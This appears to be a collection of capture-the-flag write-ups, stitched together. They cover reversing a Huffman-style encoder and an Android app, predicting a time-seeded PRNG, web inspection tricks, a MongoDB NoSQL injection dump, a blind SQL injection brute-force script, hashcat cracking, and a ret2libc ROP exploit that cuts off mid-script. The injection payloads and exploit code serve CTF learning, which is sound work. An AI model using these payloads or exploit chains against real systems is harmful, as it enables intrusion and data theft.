```nasm[0x00001000]> aaaa[0x00001000]> afl0x00001000 8 158 entry0[0x00001000]> pdf ;-- section..text: ;-- segment.LOAD1: ;-- .text: ;-- _start: ;-- rip:┌ 158: entry0 ();│ ; var int64_t output_char @ rbp-0x10│ ; var int64_t input_char @ rbp-0x8│ 0x00001000 4889e5 mov rbp, rsp ; [06] -r-x section size 158 named .text│ 0x00001003 4883ec10 sub rsp, 0x10│ 0x00001007 488d1df20f00. lea rbx, sym..rodata ; 0x2000│ 0x0000100e 4d31e4 xor r12, r12│ ; CODE XREF from entry0 @ 0x1079│ ┌─> 0x00001011 ba01000000 mov edx, 1│ ╎ 0x00001016 488d75f8 lea rsi, [input_char]│ ╎ 0x0000101a bf00000000 mov edi, 0│ ╎ 0x0000101f b800000000 mov eax, 0│ ╎ 0x00001024 0f05 syscall │ ╎ 0x00001026 4885c0 test rax, rax│ ┌──< 0x00001029 7450 je 0x107b ; EOF│ │╎ 0x0000102b 480fb645f8 movzx rax, byte [input_char]│ │╎ 0x00001030 480fb6548303 movzx rdx, byte [rbx + rax*4 + 3]│ │╎ 0x00001036 488b0483 mov rax, qword [rbx + rax*4]│ │╎ 0x0000103a 4c89e1 mov rcx, r12│ │╎ 0x0000103d 48d3e0 shl rax, cl│ │╎ 0x00001040 480945f0 or qword [output_char], rax│ │╎ 0x00001044 4901d4 add r12, rdx│ │╎ 0x00001047 4983fc08 cmp r12, 8│ ┌───< 0x0000104b 722c jb 0x1079│ ││╎ 0x0000104d 4c89e2 mov rdx, r12│ ││╎ 0x00001050 48c1ea03 shr rdx, 3│ ││╎ 0x00001054 488d75f0 lea rsi, [output_char]│ ││╎ 0x00001058 bf01000000 mov edi, 1│ ││╎ 0x0000105d b801000000 mov eax, 1│ ││╎ 0x00001062 0f05 syscall │ ││╎ 0x00001064 4c89e0 mov rax, r12│ ││╎ 0x00001067 48c1e803 shr rax, 3│ ││╎ 0x0000106b 480fb64405f0 movzx rax, byte [rbp + rax - 0x10]│ ││╎ 0x00001071 488945f0 mov qword [output_char], rax│ ││╎ 0x00001075 4983e407 and r12, 7│ │││ ; CODE XREF from entry0 @ 0x104b│ └─└─< 0x00001079 eb96 jmp 0x1011│ │ ; CODE XREF from entry0 @ 0x1029│ └──> 0x0000107b 4585e4 test r12d, r12d│ ┌─< 0x0000107e 7415 je 0x1095│ │ 0x00001080 ba01000000 mov edx, 1│ │ 0x00001085 488d75f0 lea rsi, [output_char]│ │ 0x00001089 bf01000000 mov edi, 1│ │ 0x0000108e b801000000 mov eax, 1│ │ 0x00001093 0f05 syscall│ │ ; CODE XREF from entry0 @ 0x107e│ └─> 0x00001095 31ff xor edi, edi│ 0x00001097 b83c000000 mov eax, 0x3c ; '<'└ 0x0000109c 0f05 syscall```
We can see 4 syscalls (read, write, write, exit). As you can see I already renamed two variables with `afvn output_char var_10h`. Let's add comments with `CCu comment @ addr`:
```nasm[0x00001000]> pdf ;-- section..text: ;-- segment.LOAD1: ;-- .text: ;-- _start: ;-- rip:┌ 158: entry0 ();│ ; var int64_t output_char @ rbp-0x10│ ; var int64_t input_char @ rbp-0x8│ 0x00001000 4889e5 mov rbp, rsp ; [06] -r-x section size 158 named .text│ 0x00001003 4883ec10 sub rsp, 0x10│ 0x00001007 488d1df20f00. lea rbx, sym..rodata ; 0x2000│ 0x0000100e 4d31e4 xor r12, r12│ ; CODE XREF from entry0 @ 0x1079│ ┌─> 0x00001011 ba01000000 mov edx, 1│ ╎ 0x00001016 488d75f8 lea rsi, [input_char]│ ╎ 0x0000101a bf00000000 mov edi, 0│ ╎ 0x0000101f b800000000 mov eax, 0│ ╎ 0x00001024 0f05 syscall ; sys_read (0) with size 1│ ╎ 0x00001026 4885c0 test rax, rax│ ┌──< 0x00001029 7450 je 0x107b│ │╎ 0x0000102b 480fb645f8 movzx rax, byte [input_char]│ │╎ 0x00001030 480fb6548303 movzx rdx, byte [rbx + rax*4 + 3] ; load one byte from rodata (rbx)│ │╎ 0x00001036 488b0483 mov rax, qword [rbx + rax*4] ; load a qword from rodata (rbx)│ │╎ 0x0000103a 4c89e1 mov rcx, r12│ │╎ 0x0000103d 48d3e0 shl rax, cl│ │╎ 0x00001040 480945f0 or qword [output_char], rax│ │╎ 0x00001044 4901d4 add r12, rdx│ │╎ 0x00001047 4983fc08 cmp r12, 8│ ┌───< 0x0000104b 722c jb 0x1079 ; continue loop│ ││╎ 0x0000104d 4c89e2 mov rdx, r12│ ││╎ 0x00001050 48c1ea03 shr rdx, 3│ ││╎ 0x00001054 488d75f0 lea rsi, [output_char]│ ││╎ 0x00001058 bf01000000 mov edi, 1│ ││╎ 0x0000105d b801000000 mov eax, 1│ ││╎ 0x00001062 0f05 syscall ; sys_write (1) with size 'shr rdx, 3'│ ││╎ 0x00001064 4c89e0 mov rax, r12│ ││╎ 0x00001067 48c1e803 shr rax, 3│ ││╎ 0x0000106b 480fb64405f0 movzx rax, byte [rbp + rax - 0x10] ; get last byte from output_char (rbp-0x10)│ ││╎ 0x00001071 488945f0 mov qword [output_char], rax ; load last byte into output_char│ ││╎ 0x00001075 4983e407 and r12, 7│ │││ ; CODE XREF from entry0 @ 0x104b│ └─└─< 0x00001079 eb96 jmp 0x1011│ │ ; CODE XREF from entry0 @ 0x1029│ └──> 0x0000107b 4585e4 test r12d, r12d ; check if final char has to be written│ ┌─< 0x0000107e 7415 je 0x1095│ │ 0x00001080 ba01000000 mov edx, 1│ │ 0x00001085 488d75f0 lea rsi, [output_char]│ │ 0x00001089 bf01000000 mov edi, 1│ │ 0x0000108e b801000000 mov eax, 1│ │ 0x00001093 0f05 syscall ; sys_write (1) with size 1│ │ ; CODE XREF from entry0 @ 0x107e│ └─> 0x00001095 31ff xor edi, edi│ 0x00001097 b83c000000 mov eax, 0x3c ; '<'└ 0x0000109c 0f05 syscall ; sys_exit (0x3c - 60) with code 0```
So each input byte seems to be modified using data from the `.rodata` section at `0x2000` which is loaded into `rbx`.
Let's extract it to work with that in python. We want to extract 128 times 8 bytes from offset `0x2000`.
Why 128 times? I just used `x/128xg 0x2000` and incremented the amount until I reached junk data. It's also a power of two and just two chars above printable ascii range.
```bash$ dd if=encoder.bin of=hex.bin ibs=8 count=128 skip=1024```
Now that we have the `.rodata` section extracted we can read it with python and reconstruct the code. I added the corresponding instruction as a comment on the right. There is some extra shifting and ANDing going on, that's just because python doesn't limits variables like registers do:
**Note:** there might be bugs in this code, I used a refactored version later on where I removed them, this is just an example how to reconstruct.
```pythonf = open("hex.bin", "rb")hex_values = f.read()
def from_bytes(v): return int.from_bytes(v, "little")
flag = input() + "\n"r12 = 0output_char = 0# 0x1001for input_char in flag: rax = ord(input_char) # movzx rax, byte [input_char] rdx = hex_values[rax * 4 + 3] # movzx rdx, byte [rbx + rax*4 + 3] rax = from_bytes(hex_values[rax * 4:rax * 4 + 8]) # mov rax, qword [rbx + rax*4] rcx = r12 # mov rcx, r12 rax = rax << (rcx & 0xff) # shl rax, cl output_char = output_char | rax # or qword [output_char], rax r12 = r12 + rdx # add r12, rdx if r12 < 8: # cmp r12, 8 continue # jb 0x1079 -> jmp 0x1011 rdx = r12 # mov rdx, r12 rdx = rdx >> 3 # shr rdx, 3 print(hex(output_char & 0xff)) # lea rsi, [output_char] -> syscall rax = r12 # mov rax, r12 rax = rax >> 3 # shr rax, 3 rax = output_char >> 8 & 0xff # movzx rax, byte [rbp + rax - 0x10] output_char = rax # mov qword [output_char], rax r12 = r12 & 7 # and r12, 7 # jmp 0x1011
if r12 & 0xffff != 0: # test r12d, r12d -> je 0x1095 print(hex(output_char & 0xff)) # lea rsi, [output_char] -> syscall
print()
# 0x1095exit() # syscall```
We can verify that this works by encoding the flag prefix or comparing it to the encoder binary:
```bash $ xxd output.bin00000000: 1ece c7be 2ba2 07c8 129e 6236 ae73 76c1 ....+.....b6.sv.00000010: f294 4b68 c519 bd31 de70 ebbe ad9a fa47 ..Kh...1.p.....G00000020: 47cd 01$ echo 'nactf' | ./encoder | xxd00000000: 1ece c772 ...r$ echo 'nactf' | python hex.py0x1e0xce0xc70x72```
Cool. Let's refactor it:
```pythonf = open("hex.bin", "rb")hex_values = f.read()
def from_bytes(v): return int.from_bytes(v, "little")
def ph(x): print(hex(x))
flag = input() + "\n"r12 = 0output_char = 0
for input_char in flag: rax = ord(input_char) rdx = hex_values[rax * 4 + 3] rax = from_bytes(hex_values[rax * 4:rax * 4 + 8]) rax = rax << (r12 & 0xff) output_char = output_char | rax r12 += rdx if r12 < 8: continue ph(output_char & 0xff) output_char = output_char >> 8 & 0xff r12 = r12 & 7
if r12 & 0xffff != 0: ph(output_char & 0xff)```
Now we have to understand what's going on. We actually only use the last 2 bytes of the every 8 byte entry in the `.rodata` section. The first byte is added to `r12`, some kind of counter variable. The second byte is shifted by that counter and then ORed with the value of `output_char`. That's not good, since `OR` is not reversible. There are multiple solutions when reversing this.
If the counter is above or equal to 8 the current `output_char` is printed, we then take the second byte from the left and store that in `output_char`. `r12` is then limited to 3 bits.
Otherwise we continue with our `r12` and `output_char` values. That makes things even worse because we now have to OR multiple characters together until we print it. If it's not printed we can't see if our current possibility would result in the correct output. We also have to carry the `r12` variable around.
It took me a while and some debugging until I got the algorithm right. We thankfully only have to OR two possible characters at most, that makes the coding a lot easier. This was observed by debugging the binary with different inputs.
This is actually not needed since our reversing function is recursive, but to keep things simple I first made a nested loop to later reduce the complexity of the code and increase the readability. Finding the right parameters for different branches of the recursive call can be hard to debug when you are trying to simulate what an assembly instruction really does.
What I did was this: write a recursive function that tries to add a character and see if the calculated value matches the one in `output.bin` at that position
After finishing that I had to do cleanup work because my code calculated every possible input, but the result was a mess. Arrays in arrays in arrays. I couldn't read it. After an hour of tracking the executions I managed to get it right, it was rather simple. I just had to join each calculated character from the recursive with the current char of the loop.
Here is the code:
```python import string
f = open("hex.bin", "rb") hex_values = f.read() f.close()
f = open("output.bin", "rb") flag_values = f.read() f.close()
def from_bytes(v): return int.from_bytes(v, "little")
def get_char(rax): rdx = hex_values[rax * 4 + 3] rax = from_bytes(hex_values[rax * 4:rax * 4 + 8]) rax = rax << (r12 & 0xff) return rax, rdx
def do_next(offset, r12, output_char): if offset + 1 >= len(flag_values): return output_char == flag_values[-1], []
found = False poss = [] search = flag_values[offset] for charOne in string.printable: rax, rdx = get_char(ord(charOne)) rax = rax << (r12 & 0xff) test_char = output_char | rax test_r12 = r12 + rdx f, c = None, None
if test_r12 < 8: f, c = do_next(offset, test_r12, test_char) else: if test_char & 0xff == search and (offset < 33 or output_char <= 0xff): f, c = do_next(offset + 1, test_r12 & 7, test_char >> 8 & 0xff) if f: found = True if len(c) > 0: for p in c: poss.append(charOne + p) else: poss.append(charOne)
return found, poss
r12 = 0 output_char = 0 success, possibilities = do_next(0, r12, output_char)
for poss in possibilities: print(poss.strip())```
This is the result:
```bash$ time python hex.pynactf{4ss3mbly_huffm4n_c0d1ng_1s_fun_6JkDGFG3qTAYVe8h}
real 0m0,460suser 0m0,350ssys 0m0,010s```
Bruteforce would also be a solution but where is the fun in that? This also kind of forcing it by checking each character for each position, but only continuing with those that are possible.
The flag references `Huffman Coding`: https://en.wikipedia.org/wiki/Huffman_coding
`Huffman code is a particular type of optimal prefix code that is commonly used for lossless data compression`
This flag was very important to me because I realized I still had bugs in my code. In the version above they are fixed but before I did that there were multiple output lines, multiple flags and some with garbage at the end. Without that information I would have accepted them as junk, not realizing they were there because of bugs.
The exit condition has to end 1 character before the length of the binary values because the last char is printed in another part of the binary, the second `sys_write`.
The `output_char` for the second last byte (33) must also be below or equal to 255 because of that.
There is probably another way to solve this challenge: reconstructing the huffman tree from the `.rodata` section and decode it the 'right' way. In order to solve this challenge that way you would have to known this upfront or recognize it in the code. I didn't try it out to see if it's possible, so if you didn't solve this, this might be your challenge. |
# Random Number Generator
## Task
Dr. J created a fast pseudorandom number generator (prng) to randomly assign pairs for the upcoming group test. Austin really wants to know the pairs ahead of time... can you help him and predict the next output of Dr. J's prng?
nc challenges.ctfd.io 30264
File: rand0.py
## Solution
In the file:
```pythonimport random, timerandom.seed(round(time.time() / 100, 5))```
We synchronize our clock, get some numbers from the servers that are generated after seeding, bruteforce the state of the `PRNG` and voila. The tricky part is not to skip a possible seed by floating point precision.
```pythonfrom pwn import *import time
r = remote('challenges.ctfd.io', 30264)
import random, times = time.time()
print(r.recvline())print(r.recvline())print(r.recvline())print(r.recvline())n = [x for x in range(20)]
for x in range(len(n)): r.recvline() r.recv() r.send("r\n") n[x] = int(r.recvline().decode("utf-8")[:-1])
print("Starting bruteforce")
found = Falsefor x in range(200): random.seed(round((s + x / 1000) / 100, 5)) for y in range(len(n)): if random.randint(1, 100000000) != n[y]: continue if y + 1 == len(n): print("Found x:", x) found = True break if found: break
if not found: print("Failed finding offset!")
random.seed(round((s + x / 1000) / 100, 5))for x in range(len(n)): random.randint(1, 100000000)print("Initialized seed with:", s, x)
print(r.recvline())print(r.recv())r.send("g\n")print(r.recvline())print(r.recvline())print(r.recvline())r.send("%d\n" % random.randint(1, 100000000))print(r.recvline())print(r.recvline())r.send("%d\n" % random.randint(1, 100000000))print(r.recvline())print(r.recvline().decode("utf-8"))``` |
### Solution:> If we open the page ([https://hidden.challenges.nactf.com/]()), we see a blank green page. > >  > > Open up the Inspector Tools again, go to Elements Tab (default tab), and expand everything. We can see that there is a link to an image that wasn't shown on our page. If you notice, the file path is "challenges.nactf.com/flag.png", and the "hidden" portion is not included. > >  > > We need the "hidden" subdomain part of the URL for the image to be successfully called. If you fix the "img" HTML tag or open the link in another tab, you will get the image with the flag. > >  #### **Flag:** nactf{h1dd3n_1mage3s} |
Note that order of array is prime, so swap distance is coprime. Use the congruences this implies to create an ordering of elements we can use as a comparison for bubble sort.
Full writeup: [https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/general/GeneralWriteups.md#vegetables-4](https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/general/GeneralWriteups.md#vegetables-4) |
Split into the individual messages, then take the most common bit in each positition over all messages.
code here: [https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/crypto/CryptoWriteups.md#error-0](https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/crypto/CryptoWriteups.md#error-0) |
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html) |
When you look to the source code you may see that you input (the secret) is saved to a NoSQL database (mongodb). Its getting saved with a id which is the sha256 hash of the input. To retrieve your secret again you have to visit /secret_share and send the hash as a GET parameter. The parameter secid from the GET request is used to find the correct entry in the database
After making an own simple nodejs express web and playing arround with the get parameter we've find out that when using an paramter like ?secid[test]=test a javascript object
{ test: 'test'}
is returned for request.query.secid. This object is then directly passed to the NoSQL queryExploiting the vulnerability
As we are able to control a javascript object which is passed to the NoSQL query we can do a NoSQL-Injection and using the mongodb query operators (https://docs.mongodb.com/manual/reference/operator/query/). However we can only apply the operators to the search after the sha256 hash but not the secret itself. As a hash differes greatly even when the difference between the input is only small we have no advantage by knowing the start of the each flag. Our only idea was to dump the entries of the database until we find our flag.
We used the input ?secid[$regex]=^ to get every entry where the hash starts with a specific sequence. However findOne only returns the entry which were found first in the database. That leads to the problem if the hash of the flag begins with the same sequence as the hash of a random entry we would never find the flag if we choose a start sequence wich is too short:
start sequence: 78fc4a
78fc4a5 random entry78fc4a3 the flag
Our next approach was to get a set of every entry in the database minus the the entries we define (think in datasets in term of computer science/mathematics). The server will display us the first entry in the found dataset which we add to the dataset of entries we don't want in further requests. In this way we are able to dump every entry once by once. We've implemented that with the mongodb query operator $not: { $regex: ''}} and each time we've got an entry which is not the flag we added the hash to the regex like this: ?secid\[$not][$query]=hash1|hash2|hash3|... After dumping like 200 entries we've got a HTTP error that the uri of our request was too long. So we stopped this approach.
Unsatisfied that we still weren't able to get the flag I took a short brake and thought deeper of our problem. With some divine inspiration I've started to see the hashes like a tree structure (the hashes are just examples):

The problem of finding the correct hash is now a tree traversal task. We start from the top node and traversal each node until we've find the flag. For optimization I also added following rule:
If a node has only one child node we assume it's going to result in only one hash so we dont traversal the path of the child node
We've paralized the traversal by starting an own process for every node in the first layer (0, 1, 2, ..., f). Th solution code used in the competition can be found here: secure_secret_sharing.py
The result was 62156 CSR{We_Call_Him_Little_Bobby_NoTables}. |
# Look Closelydownload Index.html.```$strings index.html | grep CYCTF{Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.```### CYCTF{1nSp3t_eL3M3nt?} |
#### supa secure (225 pts)
1. "hashcat -m 20 -a 0 -o cracked.txt crackme.txt /usr/share/wordlists/rockyou.txt --force" with [given hash]:[given salt (cyctf)] in the crackme.txt gets the FLAG
FLAG: cyctf{ilovesalt} |
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#sec_frame](https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#sec_frame) |
### Solution> When you open the website, all you will see is an almost-blank page with the not a lot of text on it. > >  > > If you open up Inspector Tools (Ctrl+Shift+I) and navigate to the Sources Tab, you can see the files used by the server. Why is this important? You can hide comments in these files that won't be shown on the browser. > >  > > The flag is a comment in the CSS File. #### **Flag:** nactf{1nspect1ng_sp13s_4_lyf3} |
1. Change our cookie to 416c6c6f77=54727565 which is Allow=True2. Then I wrote the script to bruteforce the password 3. query: uname=' or hex(substr(password,xx,1)) like 'xx'-- -&psw=123```import requestsimport string
url = "http://130.185.122.155:8080/login"Cookie = {"416c6c6f77":"54727565"}password = "raziCTF{"print(str(len(password))+'/33')while True: count = len(password) for i in string.printable: tmp_passwd = hex(ord(i))[2:] base_query = "' or hex(substr(password,"+str(count+1)+",1)) like '"+tmp_passwd+"'-- -" data ={"uname":base_query,"psw":"123"} r = requests.post(url,data=data,cookies=Cookie) if "You did it!!" in r.text: password+=i print(str(len(password))+'/33') print(password) break count+=1 if(count> len(password)): exit("Flag: "+password)``` |
### Solution:> Upon entering the page, we are taken to a login page that will log in no matter what credentials you input. However, the recipe is only visible to cookie lovers. > >  > > Our Inspector Tool can also allow us to see saved cookies that the site uses for the session (Inspector Tools > Application > Cookies). The hint indicates that Arjun placed the cookie on the front page, AKA the login page, so we'll have to go back to the login page to get the cookie. > >  > > A common cookie configuration many sites use is setting the cookie to the root of the site with the Secure tag enabled, SameSite set to "None" or blank, and the word "Session" as the expiration age. When set like this, the cookie applies to anywhere on the site without expiration (until we close the browser or something). Let's configure this and login.If done correctly, the flag should appear. > >  > #### **Flag:** nactf{c00kie_m0nst3r_5bxr16o0z} |
# dROPit
## Task
You're on your own this time. Can you get a shell?
nc challenges.ctfd.io 30261
Hint: https://libc.rip
File: dropit
## Solution
```bash$ file dropitdropit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d88dcfc6ecf55a474a7d461e14648e545a0522fa, for GNU/Linux 3.2.0, not stripped$ checksec dropitCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : FULL```
Like the name implies, we have to use ROP.
It was my first time doing this successfully and I struggled for a while until I found this very good tutorial: https://gr4n173.github.io/2020/07/11/ret2libc.html
You should definitely read it if you don't know what ROP is or how to pull it of.
I liked it very much. I have stored these files in the `dropit-files` folder if you want to try it yourself.
What we basically do is:
- overflow the buffer - use a gadget to move the address of `puts@got` into `rdi` - use a function from the binary `puts@plt` to leak that address - return to `main` to read the adjusted payload
Step 1:
```nasmgdb-peda$ disass mainDump of assembler code for function main: 0x0000000000401146 <+0>: push rbp 0x0000000000401147 <+1>: mov rbp,rsp 0x000000000040114a <+4>: sub rsp,0x30 0x000000000040114e <+8>: mov rax,QWORD PTR [rip+0x2ebb] # 0x404010 <stdout@@GLIBC_2.2.5> 0x0000000000401155 <+15>: mov ecx,0x0 0x000000000040115a <+20>: mov edx,0x2 0x000000000040115f <+25>: mov esi,0x0 0x0000000000401164 <+30>: mov rdi,rax 0x0000000000401167 <+33>: call 0x401050 <setvbuf@plt> 0x000000000040116c <+38>: mov edi,0x402004 0x0000000000401171 <+43>: call 0x401030 <puts@plt> 0x0000000000401176 <+48>: mov rdx,QWORD PTR [rip+0x2ea3] # 0x404020 <stdin@@GLIBC_2.2.5> 0x000000000040117d <+55>: lea rax,[rbp-0x30] 0x0000000000401181 <+59>: mov esi,0x64 0x0000000000401186 <+64>: mov rdi,rax 0x0000000000401189 <+67>: call 0x401040 <fgets@plt> 0x000000000040118e <+72>: mov eax,0x0 0x0000000000401193 <+77>: leave 0x0000000000401194 <+78>: retEnd of assembler dump.```
We call `char *fgets(char *s, int size, FILE *stream)` with `size = 0x64` but our stack is only `0x30`. Let's create a pattern and set a breakpoint at `<+78>`.
```nasmgdb-peda$ b *0x0000000000401194Breakpoint 1 at 0x401194gdb-peda$ pattern create 100 pattern.txtWriting pattern of 100 chars to filename "pattern.txt"gdb-peda$ r < pattern.txtBreakpoint 1, 0x0000000000401194 in main ()gdb-peda$ info register rsprsp 0x7fffffffe1f8 0x7fffffffe1f8gdb-peda$ x/s 0x7fffffffe1f80x7fffffffe1f8: "AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AA"gdb-peda$ pattern offset "AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AA"AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AA found at offset: 56```
We could now use `dumprop` to display our possible gadgets, but `pwntools` can handle that for us as well. We also need the `puts@plt` address and `puts@got`. While we are there let's get `main` too:
```nasmgdb-peda$ dumprop binary "pop rdi"Warning: this can be very slow, do not run for large memory rangeWriting ROP gadgets to file: dropit-rop.txt ...0x401203: pop rdi; retgdb-peda$ info functions mainAll functions matching regular expression "main":
Non-debugging symbols:0x0000000000 maingdb-peda$ info functions puts@pltAll functions matching regular expression "puts@plt":
Non-debugging symbols:0x0000000000401030 puts@pltgdb-peda$ readelf....got = 0x403fb0...gdb-peda$ x/8a 0x403fb00x403fb0: 0x403dc0 0x00x403fc0: 0x0 0x7ffff7e4d380 <puts>```
Finding the `got` address in gdb can be tricky, a better way is `readelf`:
```bash$ readelf --relocs dropit
Relocation section '.rela.dyn' at offset 0x4e8 contains 6 entries: Offset Info Type Sym. Value Sym. Name + Addend000000403fe0 000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0000000403fe8 000300000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0000000403ff0 000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0000000403ff8 000700000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0000000404010 000800000005 R_X86_64_COPY 0000000000404010 stdout@GLIBC_2.2.5 + 0000000404020 000900000005 R_X86_64_COPY 0000000000404020 stdin@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x578 contains 3 entries: Offset Info Type Sym. Value Sym. Name + Addend000000403fc8 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0000000403fd0 000400000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0000000403fd8 000600000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0```
We now have everything we need to leak the libc address of `puts`. We then can identify the libc version via https://libc.rip and continue coding.
But let's do it with pwntools. This is mainly the code from the tutorial mentioned before, but written by me step by step:
```python#!/usr/bin/env python2from pwn import *import structimport binascii
elf = ELF("./dropit")rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0] # 0x401203PUTS_GOT = elf.got['puts'] # 0x403fc8PUTS_PLT = elf.plt['puts'] # 0x401030MAIN = elf.symbols['main'] # 0x401146
info("pop rdi;ret: %s" % hex(POP_RDI))info("puts@got: %s" % hex(PUTS_GOT))info("puts@plt: %s" % hex(PUTS_PLT))info("main: %s" % hex(MAIN))
payload = 'A' * 56payload += p64(POP_RDI)payload += p64(PUTS_GOT)payload += p64(PUTS_PLT)payload += p64(MAIN)
p = remote('challenges.ctfd.io', 30261)
info(binascii.hexlify(p.recv()))info(binascii.hexlify(p.recv()))p.sendline(payload)puts_remote_raw = p.recv()info(binascii.hexlify(p.recv()))
leak = struct.unpack(" |
### Solution:> A calculator web app using PHP to run (it can be seen if you open Inspector and check the input box form action.). > >  > > Our hint tells us a lot. The best way to evaluate user input (in my opinion) is just to print/return whatever your just typed in (you can test this out with some strings of text like "a", but this is a calculator, so it will try to evaluate it like an expression). Since we are using PHP, and our description mentions a flag variable, we can research the symbol to call for a variable. The calculator will just output it to us. > >  > > "$flag" should do the trick. > > 
#### **Flag:** nactf{ev1l_eval} |
# flagdroid
## Task
Categories: rev
Difficulty: easy
This app won't let me in without a secret message. Can you do me a favor and find out what it is?
File: fragdroid.zip
## Solution
We use `apktool` to unpack the apk from the zip:
```bash$ apktool d --no-src flagdroid.apk$ cd flagdroid```
We then convert the `classes.dex` with `dex2jar` to a jar to open it with `jd`:
```bash$ d2j-dex2jar.sh -d classes.dex```
We look at the `lu.hack.Flagdroid.MainActivity.class`:
- a libary is loaded `native-lib` - the `onCreate` method matches the text of an `EditText` to a flag pattern - if a match is found the flag content is split on underscores - if there are 4 parts each part is checked with a `checkSplit[1-4]` function
The challenge is now to reverse engineer each flag part according to the check function.
### Part 1
```javaprivate boolean checkSplit1(String paramString) { byte[] arrayOfByte = Base64.decode(getResources().getString(2131492894), 0); try { return (new String(arrayOfByte, "UTF-8")).equals(paramString); } catch (UnsupportedEncodingException unsupportedEncodingException) { return false; }}```
A string resource is loaded and base64 decoded. This is the flag part.
We take a look at: https://developer.android.com/guide/topics/resources/providing-resources
The table lists the directory `values` and `strings.xml` for string values.
We therefore open `res/values/strings.xml`:
```xml
<resources> ... <string name="encoded">dEg0VA==</string> ...</resources>```
First part: tH4T
### Part 2
This one failed to decompile, so we need to reconstruct the opcodes to java. We could also do this with the bytecode from `jd`, but I prefer the `smali` files apktool produces when also decompiling the sources.
```bash$ apktool d --no-res -o sources flagdroid.apk$ cd sources/smali/lu/hack/Flagdroid/```
We can now take a look at the `MainActivity.smali`:
```.method private checkSplit2(Ljava/lang/String;)Z .locals 7
const-string v0, "\u001fTT:\u001f5\u00f1HG"
const/4 v1, 0x0
.line 131 :try_start_0 invoke-virtual {p1}, Ljava/lang/String;->toCharArray()[C
move-result-object p1
const-string v2, "hack.lu20"
const-string v3, "UTF-8"
.line 132 invoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
move-result-object v2
.line 134 array-length v3, p1
const/16 v4, 0x9
if-eq v3, v4, :cond_0
return v1
:cond_0 const/4 v3, 0x0
:goto_0 if-ge v3, v4, :cond_1
.line 140 aget-char v5, p1, v3
add-int/2addr v5, v3
int-to-char v5, v5
aput-char v5, p1, v3
.line 141 aget-char v5, p1, v3
aget-byte v6, v2, v3
xor-int/2addr v5, v6
int-to-char v5, v5
aput-char v5, p1, v3
add-int/lit8 v3, v3, 0x1
goto :goto_0
.line 143 :cond_1 invoke-static {p1}, Ljava/lang/String;->valueOf([C)Ljava/lang/String;
move-result-object p1
invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result p1 :try_end_0 .catch Ljava/io/UnsupportedEncodingException; {:try_start_0 .. :try_end_0} :catch_0
return p1
:catch_0 return v1.end method```
This might be helpful: http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
After some time we get (I left out the try-catch to keep it simple, it is also just a return of `v1b`):
```javaprivate static boolean checkSplit2(String p1s) throws UnsupportedEncodingException { // const-string v0, "\u001fTT:\u001f5\u00f1HG" String v0s = "\u001fTT:\u001f5\u00f1HG";
// const/4 v1, 0x0 boolean v1b = false;
// invoke-virtual {p1}, Ljava/lang/String;->toCharArray()[C // move-result-object p1 char[] p1ca = p1s.toCharArray();
// const-string v2, "hack.lu20" String v2s = "hack.lu20";
// const-string v3, "UTF-8" String v3s = "UTF-8";
// invoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B // move-result-object v2 byte[] v2ba = v2s.getBytes(v3s);
// array-length v3, p1 int v3i = p1ca.length;
// const/16 v4, 0x9 int v4i = 0x9;
// if-eq v3, v4, :cond_0 if (v3i == v4i) { // :cond_0
// const/4 v3, 0x0 v3i = 0;
// if-ge v3, v4, :cond_1 while (v3i < v4i) { // aget-char v5, p1, v3 int v5i = p1ca[v3i];
// add-int/2addr v5, v3 v5i += v3i;
// int-to-char v5, v5 char v5c = (char) v5i;
// aput-char v5, p1, v3 p1ca[v3i] = v5c;
// aget-char v5, p1, v3 v5i = p1ca[v3i];
// aget-byte v6, v2, v3 byte v6b = v2ba[v3i];
// xor-int/2addr v5, v6 v5i = v5i ^ v6b;
// int-to-char v5, v5 v5c = (char) v5i;
// aput-char v5, p1, v3 p1ca[v3i] = v5c;
// add-int/lit8 v3, v3, 0x1 v3i = v3i + 1; }
// :cond_1
// invoke-static {p1}, Ljava/lang/String;->valueOf([C)Ljava/lang/String; // move-result-object p1 p1s = String.valueOf(p1ca);
// invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z // move-result p1 boolean p1b = p1s.equals(v0s);
return p1b; } else { return v1b; }}```
That looks complicated. Let's break it down:
